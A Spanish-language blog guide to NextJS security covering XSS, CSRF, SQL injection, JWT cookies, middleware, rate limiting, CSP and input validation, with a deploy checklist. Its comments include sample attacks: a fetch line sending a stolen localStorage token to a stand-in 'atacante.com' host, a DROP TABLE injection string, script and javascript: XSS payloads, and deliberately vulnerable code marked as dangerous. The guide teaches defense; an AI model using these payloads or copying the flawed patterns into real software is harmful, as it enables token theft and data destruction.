seguridad·16 min de lectura

Seguridad en Aplicaciones NextJS: Guia Completa para Desarrolladores

Guia practica de seguridad en NextJS. XSS, CSRF, SQL Injection, autenticacion, middleware, rate limiting, CSP headers y checklist de seguridad antes de deploy.

Seguridad en Aplicaciones NextJS: Guia para Desarrolladores

La seguridad en NextJS no es una funcionalidad que agregas al final del proyecto. Es parte del desarrollo desde el primer commit. Esta guia cubre las vulnerabilidades mas comunes en aplicaciones web, como se manifiestan en NextJS y React, y que puedes hacer para proteger tu aplicacion con codigo concreto.

No vamos a cubrir teoria abstracta. Cada seccion tiene codigo que puedes implementar directamente en tu proyecto.

Por que seguridad importa desde el dia uno

Un error comun es pensar que la seguridad es responsabilidad del equipo de DevOps o de alguien mas. La realidad es que la mayoria de vulnerabilidades se introducen en el codigo de la aplicacion, no en la infraestructura.

Datos del OWASP Top 10 muestran que las vulnerabilidades mas explotadas en aplicaciones web son prevenibles con buenas practicas de codigo:

  • Inyeccion (SQL, NoSQL, comandos): datos de usuario ejecutados como codigo
  • Autenticacion rota: tokens mal manejados, sesiones que no expiran
  • Exposicion de datos: secrets en repos, respuestas con datos de mas
  • XSS: scripts maliciosos ejecutados en el navegador del usuario
  • CSRF: acciones ejecutadas sin el consentimiento del usuario

NextJS te da herramientas para mitigar cada una. Veamos como.

OWASP Top 10 resumido para NextJS

El OWASP Top 10 es el estandar de referencia para vulnerabilidades en aplicaciones web. Esto es lo que aplica directamente a tu stack de NextJS:

Vulnerabilidad OWASPRelevancia en NextJSSeccion
A01: Broken Access ControlMiddleware, Server ComponentsAuthorization
A02: Cryptographic FailuresVariables de entorno, HTTPSAutenticacion
A03: InjectionServer Actions, API RoutesSQL Injection
A05: Security MisconfigurationHeaders, CSPHeaders de seguridad
A07: XSSReact components, dangerouslySetInnerHTMLXSS
A08: CSRFServer Actions, formulariosCSRF
ℹ️
No todo aplica igual

Algunas categorias de OWASP como "Vulnerable and Outdated Components" se manejan a nivel de dependencias (npm audit), no a nivel de codigo. Aqui nos enfocamos en lo que puedes controlar directamente desde tu aplicacion NextJS.

XSS: Como prevenirlo en React y NextJS

Cross-Site Scripting (XSS) ocurre cuando un atacante logra ejecutar JavaScript malicioso en el navegador de otro usuario. En una aplicacion React, esto es menos comun gracias a que JSX escapa el contenido automaticamente, pero no es imposible.

React te protege por defecto

tsx
// Esto es SEGURO - React escapa el contenido
function Comentario({ texto }: { texto: string }) {
  return <p>{texto}</p>
}
 
// Si texto = "<script>alert('hackeado')</script>"
// React renderiza el texto literal, no ejecuta el script

Donde si hay riesgo: dangerouslySetInnerHTML

tsx
// PELIGROSO - Esto ejecuta HTML sin escapar
function ContenidoHTML({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}
 
// Si html viene de un usuario, puede contener scripts maliciosos

La solucion: sanitizar el HTML

Si necesitas renderizar HTML externo (por ejemplo, contenido de un CMS o un editor WYSIWYG), sanitizalo primero:

bash
npm install isomorphic-dompurify
tsx
import DOMPurify from 'isomorphic-dompurify'
 
function ContenidoSeguro({ html }: { html: string }) {
  const htmlLimpio = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br', 'h2', 'h3'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  })
 
  return <div dangerouslySetInnerHTML={{ __html: htmlLimpio }} />
}
⚠️
Nunca confies en el input del usuario

Aunque uses DOMPurify, configura una lista explicita de tags y atributos permitidos. La configuracion por defecto es permisiva. Ser restrictivo es mejor que ser permisivo cuando se trata de HTML externo.

Otros vectores de XSS en NextJS

tsx
// PELIGROSO - URLs con javascript:
function Link({ url }: { url: string }) {
  // Si url = "javascript:alert('xss')", se ejecuta al hacer click
  return <a href={url}>Click aqui</a>
}
 
// SEGURO - Valida el protocolo
function LinkSeguro({ url }: { url: string }) {
  const urlSegura = url.startsWith('http://') || url.startsWith('https://')
    ? url
    : '#'
 
  return <a href={urlSegura}>Click aqui</a>
}
tsx
// PELIGROSO - Estilos dinamicos sin validar
function Avatar({ color }: { color: string }) {
  // Si color = "red; background-image: url(javascript:...)"
  return <div style={{ backgroundColor: color }} />
}
 
// SEGURO - Usa una allowlist
const COLORES_PERMITIDOS = ['red', 'blue', 'green', 'gray'] as const
 
function AvatarSeguro({ color }: { color: string }) {
  const colorSeguro = COLORES_PERMITIDOS.includes(color as any)
    ? color
    : 'gray'
 
  return <div style={{ backgroundColor: colorSeguro }} />
}

CSRF: Proteccion con Server Actions y tokens

Cross-Site Request Forgery (CSRF) ocurre cuando un sitio malicioso hace que el navegador del usuario envie una peticion a tu aplicacion aprovechando las cookies de sesion activas.

Server Actions de NextJS ya incluyen proteccion

NextJS genera automaticamente un token CSRF para cada Server Action. Esto significa que si usas Server Actions para mutaciones, ya tienes proteccion basica:

tsx
// app/perfil/page.tsx
export default function PerfilPage() {
  async function actualizarNombre(formData: FormData) {
    'use server'
 
    const nombre = formData.get('nombre') as string
 
    // NextJS verifica automaticamente el token CSRF
    // antes de ejecutar esta funcion
    await db.usuario.update({
      where: { id: sesion.userId },
      data: { nombre },
    })
  }
 
  return (
    <form action={actualizarNombre}>
      <input name="nombre" type="text" required />
      <button type="submit">Guardar</button>
    </form>
  )
}

Para API Routes: implementa tokens CSRF manualmente

Si usas API Routes en lugar de Server Actions, necesitas manejar la proteccion tu mismo:

tsx
// lib/csrf.ts
import { randomBytes } from 'crypto'
import { cookies } from 'next/headers'
 
export async function generarTokenCSRF(): Promise<string> {
  const token = randomBytes(32).toString('hex')
  const cookieStore = await cookies()
 
  cookieStore.set('csrf-token', token, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    path: '/',
    maxAge: 60 * 60, // 1 hora
  })
 
  return token
}
 
export async function verificarTokenCSRF(token: string): Promise<boolean> {
  const cookieStore = await cookies()
  const tokenGuardado = cookieStore.get('csrf-token')?.value
 
  if (!tokenGuardado || !token) return false
 
  // Comparacion en tiempo constante para prevenir timing attacks
  const encoder = new TextEncoder()
  const a = encoder.encode(tokenGuardado)
  const b = encoder.encode(token)
 
  if (a.byteLength !== b.byteLength) return false
 
  return crypto.subtle.timingSafeEqual(a, b)
}
tsx
// app/api/perfil/route.ts
import { verificarTokenCSRF } from '@/lib/csrf'
import { NextRequest, NextResponse } from 'next/server'
 
export async function POST(request: NextRequest) {
  const body = await request.json()
  const tokenValido = await verificarTokenCSRF(body.csrfToken)
 
  if (!tokenValido) {
    return NextResponse.json(
      { error: 'Token CSRF invalido' },
      { status: 403 }
    )
  }
 
  // Procesar la solicitud
  // ...
}
💡
Prefiere Server Actions

Si puedes usar Server Actions en lugar de API Routes para mutaciones, hazlo. La proteccion CSRF viene integrada y no tienes que manejar tokens manualmente.

SQL Injection: ORM como defensa principal

SQL Injection ocurre cuando datos del usuario se insertan directamente en una consulta SQL. Aunque suena a vulnerabilidad de 2005, sigue siendo una de las mas comunes.

El problema: consultas sin parametrizar

tsx
// PELIGROSO - SQL Injection directo
import { sql } from '@vercel/postgres'
 
async function buscarUsuario(email: string) {
  // Si email = "'; DROP TABLE usuarios; --"
  // Se ejecuta: SELECT * FROM usuarios WHERE email = ''; DROP TABLE usuarios; --'
  const resultado = await sql.query(
    `SELECT * FROM usuarios WHERE email = '${email}'`
  )
  return resultado.rows[0]
}

La solucion: queries parametrizadas

tsx
// SEGURO - Query parametrizada
import { sql } from '@vercel/postgres'
 
async function buscarUsuario(email: string) {
  // El valor se pasa como parametro, nunca se interpola en el SQL
  const resultado = await sql`
    SELECT * FROM usuarios WHERE email = ${email}
  `
  return resultado.rows[0]
}

ORMs: defensa por defecto

Si usas un ORM como Prisma o Drizzle, las queries estan parametrizadas automaticamente:

tsx
// SEGURO - Prisma parametriza automaticamente
async function buscarUsuario(email: string) {
  const usuario = await prisma.usuario.findUnique({
    where: { email }, // Prisma escapa el valor
  })
  return usuario
}
tsx
// SEGURO - Drizzle tambien parametriza
import { eq } from 'drizzle-orm'
import { usuarios } from '@/db/schema'
 
async function buscarUsuario(email: string) {
  const resultado = await db
    .select()
    .from(usuarios)
    .where(eq(usuarios.email, email)) // Drizzle escapa el valor
  return resultado[0]
}

Cuidado con raw queries

Incluso con un ORM, si usas raw queries, el riesgo vuelve:

tsx
// PELIGROSO - raw query sin parametrizar
const resultado = await prisma.$queryRawUnsafe(
  `SELECT * FROM usuarios WHERE nombre LIKE '%${busqueda}%'`
)
 
// SEGURO - raw query parametrizada
const resultado = await prisma.$queryRaw`
  SELECT * FROM usuarios WHERE nombre LIKE ${`%${busqueda}%`}
`

Autenticacion: mejores practicas

La autenticacion es donde mas errores de seguridad se cometen. Estas son las reglas fundamentales.

Nunca guardes tokens en localStorage

tsx
// MALO - localStorage es accesible desde cualquier script
localStorage.setItem('token', response.token)
 
// Si hay una vulnerabilidad XSS, el atacante roba el token:
// fetch('https://atacante.com/robar?token=' + localStorage.getItem('token'))

Usa httpOnly cookies

tsx
// lib/auth.ts
import { cookies } from 'next/headers'
import { SignJWT, jwtVerify } from 'jose'
 
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
 
export async function crearSesion(userId: string) {
  const token = await new SignJWT({ userId })
    .setProtectedHeader({ alg: 'HS256' })
    .setExpirationTime('7d')
    .setIssuedAt()
    .sign(SECRET)
 
  const cookieStore = await cookies()
  cookieStore.set('session', token, {
    httpOnly: true,     // No accesible desde JavaScript
    secure: true,       // Solo HTTPS
    sameSite: 'strict', // No se envia en peticiones cross-origin
    maxAge: 60 * 60 * 24 * 7, // 7 dias
    path: '/',
  })
}
 
export async function obtenerSesion() {
  const cookieStore = await cookies()
  const token = cookieStore.get('session')?.value
 
  if (!token) return null
 
  try {
    const { payload } = await jwtVerify(token, SECRET)
    return payload as { userId: string }
  } catch {
    return null
  }
}
 
export async function cerrarSesion() {
  const cookieStore = await cookies()
  cookieStore.delete('session')
}

Hashea passwords correctamente

tsx
// lib/password.ts
import { hash, verify } from '@node-rs/argon2'
 
// Argon2id es el algoritmo recomendado actualmente
export async function hashearPassword(password: string): Promise<string> {
  return hash(password, {
    memoryCost: 19456,  // 19 MB
    timeCost: 2,
    parallelism: 1,
  })
}
 
export async function verificarPassword(
  password: string,
  hashGuardado: string
): Promise<boolean> {
  return verify(hashGuardado, password)
}
⚠️
Variables de entorno

Tu JWT_SECRET y cualquier otro secret deben estar en variables de entorno, nunca en el codigo. Si necesitas una guia para configurar esto correctamente, revisa variables de entorno en NextJS y Vercel.

Checklist de autenticacion

  • httpOnly cookies para tokens de sesion
  • Passwords hasheados con Argon2id o bcrypt (nunca MD5 o SHA)
  • Tokens con expiracion corta (7 dias maximo para sesiones)
  • Rotacion de tokens en cada request o periodicamente
  • Rate limiting en endpoints de login
  • Validacion de password strength en registro

Authorization: Middleware de NextJS para proteger rutas

Autenticacion es verificar quien eres. Authorization es verificar que puedes hacer. NextJS Middleware es perfecto para esto porque se ejecuta antes de que la pagina cargue.

Middleware basico de autenticacion

tsx
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
 
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
 
// Rutas que requieren autenticacion
const RUTAS_PROTEGIDAS = ['/dashboard', '/perfil', '/configuracion']
 
// Rutas solo para usuarios no autenticados
const RUTAS_AUTH = ['/login', '/registro']
 
export async function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value
  const path = request.nextUrl.pathname
 
  // Verificar si el token es valido
  let sesionValida = false
  if (token) {
    try {
      await jwtVerify(token, SECRET)
      sesionValida = true
    } catch {
      // Token invalido o expirado
      sesionValida = false
    }
  }
 
  // Redirigir si accede a ruta protegida sin sesion
  const esRutaProtegida = RUTAS_PROTEGIDAS.some(ruta =>
    path.startsWith(ruta)
  )
 
  if (esRutaProtegida && !sesionValida) {
    const loginUrl = new URL('/login', request.url)
    loginUrl.searchParams.set('redirect', path)
    return NextResponse.redirect(loginUrl)
  }
 
  // Redirigir si ya tiene sesion y accede a login/registro
  const esRutaAuth = RUTAS_AUTH.some(ruta => path.startsWith(ruta))
 
  if (esRutaAuth && sesionValida) {
    return NextResponse.redirect(new URL('/dashboard', request.url))
  }
 
  return NextResponse.next()
}
 
export const config = {
  matcher: ['/dashboard/:path*', '/perfil/:path*', '/configuracion/:path*', '/login', '/registro'],
}

Authorization por roles

tsx
// middleware.ts - Version con roles
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
 
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
 
type Role = 'usuario' | 'editor' | 'admin'
 
interface PermisoRuta {
  path: string
  roles: Role[]
}
 
const PERMISOS: PermisoRuta[] = [
  { path: '/dashboard', roles: ['usuario', 'editor', 'admin'] },
  { path: '/editor', roles: ['editor', 'admin'] },
  { path: '/admin', roles: ['admin'] },
]
 
export async function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value
  const path = request.nextUrl.pathname
 
  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url))
  }
 
  try {
    const { payload } = await jwtVerify(token, SECRET)
    const userRole = payload.role as Role
 
    const permiso = PERMISOS.find(p => path.startsWith(p.path))
 
    if (permiso && !permiso.roles.includes(userRole)) {
      // El usuario no tiene permiso para esta ruta
      return NextResponse.redirect(new URL('/sin-acceso', request.url))
    }
 
    // Agregar info del usuario al header para usarla en Server Components
    const headers = new Headers(request.headers)
    headers.set('x-user-id', payload.userId as string)
    headers.set('x-user-role', userRole)
 
    return NextResponse.next({ headers })
  } catch {
    return NextResponse.redirect(new URL('/login', request.url))
  }
}

Verificacion en Server Components

El middleware protege las rutas, pero tambien debes verificar permisos en tus Server Components para operaciones especificas:

tsx
// app/admin/usuarios/page.tsx
import { obtenerSesion } from '@/lib/auth'
import { redirect } from 'next/navigation'
 
export default async function AdminUsuariosPage() {
  const sesion = await obtenerSesion()
 
  if (!sesion || sesion.role !== 'admin') {
    redirect('/sin-acceso')
  }
 
  const usuarios = await db.usuario.findMany()
 
  return (
    <div>
      <h1>Administrar Usuarios</h1>
      {/* renderizar tabla de usuarios */}
    </div>
  )
}

Rate Limiting en API Routes

Sin rate limiting, un atacante puede hacer miles de peticiones por segundo a tu API. Esto puede causar desde consumo excesivo de recursos hasta ataques de fuerza bruta contra tu endpoint de login.

Implementacion con Upstash

bash
npm install @upstash/ratelimit @upstash/redis
tsx
// lib/rate-limit.ts
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'
 
// Crear instancia de Redis con Upstash
const redis = new Redis({
  url: process.env.UPSTASH_REDIS_REST_URL!,
  token: process.env.UPSTASH_REDIS_REST_TOKEN!,
})
 
// Rate limiter: 10 peticiones por 10 segundos por IP
export const rateLimiter = new Ratelimit({
  redis,
  limiter: Ratelimit.slidingWindow(10, '10 s'),
  analytics: true,
})
 
// Rate limiter mas estricto para login
export const loginRateLimiter = new Ratelimit({
  redis,
  limiter: Ratelimit.slidingWindow(5, '60 s'), // 5 intentos por minuto
  analytics: true,
})
tsx
// app/api/login/route.ts
import { loginRateLimiter } from '@/lib/rate-limit'
import { NextRequest, NextResponse } from 'next/server'
 
export async function POST(request: NextRequest) {
  // Obtener IP del cliente
  const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
 
  // Verificar rate limit
  const { success, limit, reset, remaining } = await loginRateLimiter.limit(ip)
 
  if (!success) {
    return NextResponse.json(
      { error: 'Demasiados intentos. Intenta de nuevo mas tarde.' },
      {
        status: 429,
        headers: {
          'X-RateLimit-Limit': limit.toString(),
          'X-RateLimit-Remaining': remaining.toString(),
          'X-RateLimit-Reset': reset.toString(),
          'Retry-After': Math.ceil((reset - Date.now()) / 1000).toString(),
        },
      }
    )
  }
 
  // Procesar login normalmente
  const body = await request.json()
  // ... validar credenciales
}

Rate limiting en Middleware (global)

tsx
// middleware.ts - Agregar rate limiting global
import { rateLimiter } from '@/lib/rate-limit'
 
export async function middleware(request: NextRequest) {
  // Solo rate limit en API routes
  if (request.nextUrl.pathname.startsWith('/api/')) {
    const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
    const { success } = await rateLimiter.limit(ip)
 
    if (!success) {
      return NextResponse.json(
        { error: 'Rate limit excedido' },
        { status: 429 }
      )
    }
  }
 
  // Resto de la logica del middleware...
  return NextResponse.next()
}

Content Security Policy (CSP)

Content Security Policy es un header HTTP que le dice al navegador que recursos puede cargar tu pagina. Es una de las defensas mas efectivas contra XSS porque incluso si un atacante logra inyectar un script, el navegador lo bloquea si no esta en la lista permitida.

Configuracion en next.config.ts

tsx
// next.config.ts
import type { NextConfig } from 'next'
 
const nextConfig: NextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self'",
              "connect-src 'self' https://api.tudominio.com",
              "frame-ancestors 'none'",
              "base-uri 'self'",
              "form-action 'self'",
            ].join('; '),
          },
        ],
      },
    ]
  },
}
 
export default nextConfig
ℹ️
unsafe-inline y unsafe-eval

NextJS necesita 'unsafe-inline' para los estilos inyectados y puede necesitar 'unsafe-eval' en desarrollo. En produccion, puedes usar nonces para eliminar 'unsafe-inline' en scripts. La documentacion de seguridad de NextJS explica como implementar nonces con middleware.

CSP con nonces (mas seguro)

tsx
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
 
export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
 
  const cspHeader = [
    "default-src 'self'",
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'nonce-${nonce}'`,
    "img-src 'self' data: https:",
    "font-src 'self'",
    "connect-src 'self'",
    "frame-ancestors 'none'",
    "base-uri 'self'",
    "form-action 'self'",
  ].join('; ')
 
  const headers = new Headers(request.headers)
  headers.set('x-nonce', nonce)
 
  const response = NextResponse.next({ headers })
  response.headers.set('Content-Security-Policy', cspHeader)
 
  return response
}
tsx
// app/layout.tsx
import { headers } from 'next/headers'
 
export default async function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  const headersList = await headers()
  const nonce = headersList.get('x-nonce') ?? ''
 
  return (
    <html lang="es" nonce={nonce}>
      <body>{children}</body>
    </html>
  )
}

Para una configuracion mas detallada de headers de seguridad, incluyendo HSTS, X-Frame-Options y Permissions-Policy, revisa la guia de headers de seguridad para aplicaciones web.

Validacion de inputs

Cada dato que entra a tu aplicacion desde el exterior es potencialmente malicioso. Formularios, query params, headers, cookies, todo debe validarse antes de usarse.

Validacion con Zod en Server Actions

Si todavia no usas Zod, revisa la guia completa de Zod para validacion. Aqui va un ejemplo aplicado a seguridad:

tsx
// app/actions/crear-usuario.ts
'use server'
 
import { z } from 'zod'
 
const CrearUsuarioSchema = z.object({
  email: z.string()
    .email('Email invalido')
    .max(255, 'Email demasiado largo')
    .toLowerCase()
    .trim(),
 
  nombre: z.string()
    .min(2, 'Nombre muy corto')
    .max(100, 'Nombre muy largo')
    .trim()
    .regex(/^[a-zA-ZÀ-ÿ\s]+$/, 'El nombre solo puede contener letras'),
 
  password: z.string()
    .min(8, 'Minimo 8 caracteres')
    .max(128, 'Password demasiado largo')
    .regex(/[A-Z]/, 'Debe contener al menos una mayuscula')
    .regex(/[a-z]/, 'Debe contener al menos una minuscula')
    .regex(/[0-9]/, 'Debe contener al menos un numero'),
})
 
export async function crearUsuario(formData: FormData) {
  const datosRaw = {
    email: formData.get('email'),
    nombre: formData.get('nombre'),
    password: formData.get('password'),
  }
 
  // Validar ANTES de hacer cualquier cosa
  const resultado = CrearUsuarioSchema.safeParse(datosRaw)
 
  if (!resultado.success) {
    return {
      error: resultado.error.flatten().fieldErrors,
    }
  }
 
  // Los datos ya estan validados y tipados
  const { email, nombre, password } = resultado.data
 
  // Proceder con la creacion del usuario
  const passwordHash = await hashearPassword(password)
 
  await db.usuario.create({
    data: { email, nombre, passwordHash },
  })
 
  return { success: true }
}

Validacion de query params en API Routes

tsx
// app/api/usuarios/route.ts
import { z } from 'zod'
import { NextRequest, NextResponse } from 'next/server'
 
const BusquedaSchema = z.object({
  q: z.string().max(100).optional(),
  pagina: z.coerce.number().int().min(1).default(1),
  limite: z.coerce.number().int().min(1).max(100).default(20),
  orden: z.enum(['nombre', 'fecha', 'email']).default('fecha'),
})
 
export async function GET(request: NextRequest) {
  const searchParams = Object.fromEntries(request.nextUrl.searchParams)
  const resultado = BusquedaSchema.safeParse(searchParams)
 
  if (!resultado.success) {
    return NextResponse.json(
      { error: 'Parametros invalidos', detalles: resultado.error.flatten() },
      { status: 400 }
    )
  }
 
  const { q, pagina, limite, orden } = resultado.data
 
  // Usar los parametros validados
  const usuarios = await db.usuario.findMany({
    where: q ? { nombre: { contains: q } } : undefined,
    skip: (pagina - 1) * limite,
    take: limite,
    orderBy: { [orden]: 'asc' },
  })
 
  return NextResponse.json(usuarios)
}

No solo valides en el cliente

La validacion del lado del cliente es para mejorar la experiencia del usuario. La validacion del servidor es para proteger tu aplicacion. Siempre necesitas ambas.

Cuando hagas peticiones con fetch desde el cliente, valida la respuesta tambien. No asumas que la API siempre responde con el formato esperado.

Manejo seguro de variables de entorno

Las variables de entorno son uno de los vectores de ataque mas comunes. Un .env commiteado accidentalmente puede exponer tu base de datos, API keys y secrets a todo el mundo.

Reglas basicas

tsx
// NUNCA expongas variables del servidor al cliente
// En NextJS, solo variables con prefijo NEXT_PUBLIC_ son accesibles en el cliente
 
// .env.local
DATABASE_URL="postgresql://..."           // Solo servidor
JWT_SECRET="..."                          // Solo servidor
NEXT_PUBLIC_API_URL="https://api.com"     // Cliente y servidor
tsx
// Valida que las variables existan al inicio
// lib/env.ts
import { z } from 'zod'
 
const envSchema = z.object({
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
  UPSTASH_REDIS_REST_URL: z.string().url(),
  UPSTASH_REDIS_REST_TOKEN: z.string().min(1),
})
 
// Esto lanza un error al inicio si falta alguna variable
export const env = envSchema.parse(process.env)

Escanear tu repo por secrets expuestos

Un error comun es commitear un .env o hardcodear un API key en algun archivo. Para detectar esto automaticamente, datahogo escanea tu repositorio de GitHub y te alerta si encuentra credenciales, API keys o secrets expuestos en tu codigo. Si ya tiene acceso, genera un PR con el fix automaticamente.

Ademas de herramientas externas, agrega .env* a tu .gitignore desde el primer commit:

bash
# .gitignore
.env
.env.local
.env.development.local
.env.test.local
.env.production.local

Checklist de seguridad antes de deploy

Antes de deployar tu aplicacion NextJS a produccion, verifica cada uno de estos puntos:

Proteccion contra ataques

  • XSS: No usas dangerouslySetInnerHTML con contenido de usuarios sin sanitizar
  • CSRF: Usas Server Actions o implementas tokens CSRF en API Routes
  • SQL Injection: Todas las queries estan parametrizadas o usan un ORM
  • Rate limiting: Endpoints de login y API tienen limites de peticiones

Autenticacion y autorizacion

  • Tokens en httpOnly cookies, no en localStorage
  • Passwords hasheados con Argon2id o bcrypt
  • Middleware protege rutas que requieren autenticacion
  • Verificacion de roles en Server Components para operaciones sensibles
  • Sesiones con expiracion configurada

Headers de seguridad

  • Content-Security-Policy configurado
  • Strict-Transport-Security habilitado
  • X-Content-Type-Options: nosniff presente
  • X-Frame-Options: DENY presente
  • Referrer-Policy configurado

Variables de entorno y secrets

  • .env en .gitignore desde el primer commit
  • Variables de entorno validadas con Zod al inicio
  • No hay secrets hardcodeados en el codigo
  • Solo variables NEXT_PUBLIC_ expuestas al cliente
  • Repo escaneado con una herramienta de deteccion de secrets

Validacion de datos

  • Todos los inputs validados en el servidor con Zod
  • Query params validados en API Routes
  • Tipos de archivo validados en uploads
  • Tamano de payload limitado en API Routes

Dependencias

  • npm audit sin vulnerabilidades criticas
  • Dependencias actualizadas a versiones con parches de seguridad
  • Lock file (package-lock.json) commiteado

No necesitas implementar todo de golpe. Empieza con lo critico (autenticacion, validacion de inputs, variables de entorno) y ve agregando capas de seguridad incrementalmente. Cada punto que marques reduce significativamente la superficie de ataque.

Errores comunes de seguridad en NextJS

Estos son errores que veo frecuentemente en proyectos de NextJS. Revisa que tu proyecto no tenga ninguno:

1. Exponer datos sensibles en Server Components

tsx
// MALO - El objeto completo llega al cliente como props
async function PerfilPage() {
  const usuario = await db.usuario.findUnique({ where: { id } })
  // usuario incluye passwordHash, secret, etc.
  return <PerfilForm usuario={usuario} />
}
 
// BIEN - Solo enviar los datos necesarios
async function PerfilPage() {
  const usuario = await db.usuario.findUnique({
    where: { id },
    select: { nombre: true, email: true, avatar: true },
  })
  return <PerfilForm usuario={usuario} />
}

2. Server Actions sin verificar autorizacion

tsx
// MALO - Cualquiera puede eliminar cualquier post
async function eliminarPost(postId: string) {
  'use server'
  await db.post.delete({ where: { id: postId } })
}
 
// BIEN - Verificar que el usuario es dueno del post
async function eliminarPost(postId: string) {
  'use server'
  const sesion = await obtenerSesion()
  if (!sesion) throw new Error('No autenticado')
 
  const post = await db.post.findUnique({ where: { id: postId } })
  if (post?.autorId !== sesion.userId) throw new Error('No autorizado')
 
  await db.post.delete({ where: { id: postId } })
}

3. Redirect abierto

tsx
// MALO - El usuario puede redirigir a cualquier sitio
export async function GET(request: NextRequest) {
  const redirect = request.nextUrl.searchParams.get('redirect')
  return NextResponse.redirect(redirect!) // Puede ser https://atacante.com
}
 
// BIEN - Solo permitir rutas internas
export async function GET(request: NextRequest) {
  const redirect = request.nextUrl.searchParams.get('redirect') ?? '/dashboard'
 
  // Verificar que sea una ruta interna
  const url = new URL(redirect, request.url)
  if (url.origin !== request.nextUrl.origin) {
    return NextResponse.redirect(new URL('/dashboard', request.url))
  }
 
  return NextResponse.redirect(url)
}

Resumen

La seguridad en NextJS no requiere ser experto en criptografia. Requiere disciplina para aplicar patrones consistentes:

  1. Nunca confies en datos del exterior -- valida todo con Zod
  2. React te protege de XSS por defecto -- no lo desactives con dangerouslySetInnerHTML
  3. Usa Server Actions -- la proteccion CSRF viene incluida
  4. Usa un ORM -- la proteccion contra SQL Injection viene incluida
  5. httpOnly cookies para tokens -- nunca localStorage
  6. Middleware para proteger rutas -- es la primera linea de defensa
  7. Rate limiting -- protege contra fuerza bruta y abuso
  8. CSP headers -- la segunda capa contra XSS
  9. Variables de entorno seguras -- configuralas correctamente
  10. Escanea tu repo -- verifica que no tengas secrets expuestos

La seguridad es un proceso continuo, no un checklist que completas una vez. Cada feature nuevo es una oportunidad para introducir una vulnerabilidad, y cada code review es una oportunidad para detectarla antes de que llegue a produccion.

#nextjs#seguridad#xss#csrf#autenticacion#owasp

Preguntas frecuentes

Como prevenir XSS en una aplicacion NextJS?

React escapa automaticamente el contenido renderizado en JSX, lo que previene la mayoria de ataques XSS. Evita usar dangerouslySetInnerHTML con contenido de usuarios. Si necesitas renderizar HTML externo, sanitizalo con una libreria como DOMPurify antes de pasarlo al componente.

Es seguro guardar tokens de autenticacion en localStorage?

No. localStorage es accesible desde cualquier script JavaScript en la pagina, incluyendo scripts inyectados por XSS. Usa httpOnly cookies que no son accesibles desde JavaScript del cliente. Configuralas con los flags Secure, SameSite=Strict y un tiempo de expiracion corto.

Como implementar rate limiting en API Routes de NextJS?

Puedes usar librerias como upstash/ratelimit con un store en Redis para limitar peticiones por IP o por usuario. Configura el rate limiter en tu API Route o middleware y responde con status 429 cuando se exceda el limite.

Que es Content Security Policy y como se configura en NextJS?

Content Security Policy (CSP) es un header HTTP que le indica al navegador que recursos puede cargar la pagina. Se configura en next.config.ts dentro del arreglo headers o en un middleware personalizado. Restringe fuentes de scripts, estilos, imagenes y conexiones para prevenir ataques XSS e inyeccion de contenido.

Necesito validar inputs en el servidor si ya valido en el cliente?

Si, siempre. La validacion del cliente se puede saltar con cualquier herramienta de desarrollo o peticion HTTP directa. La validacion del servidor es la unica que realmente protege tu aplicacion. Usa una libreria como Zod para definir schemas que validen en ambos lados.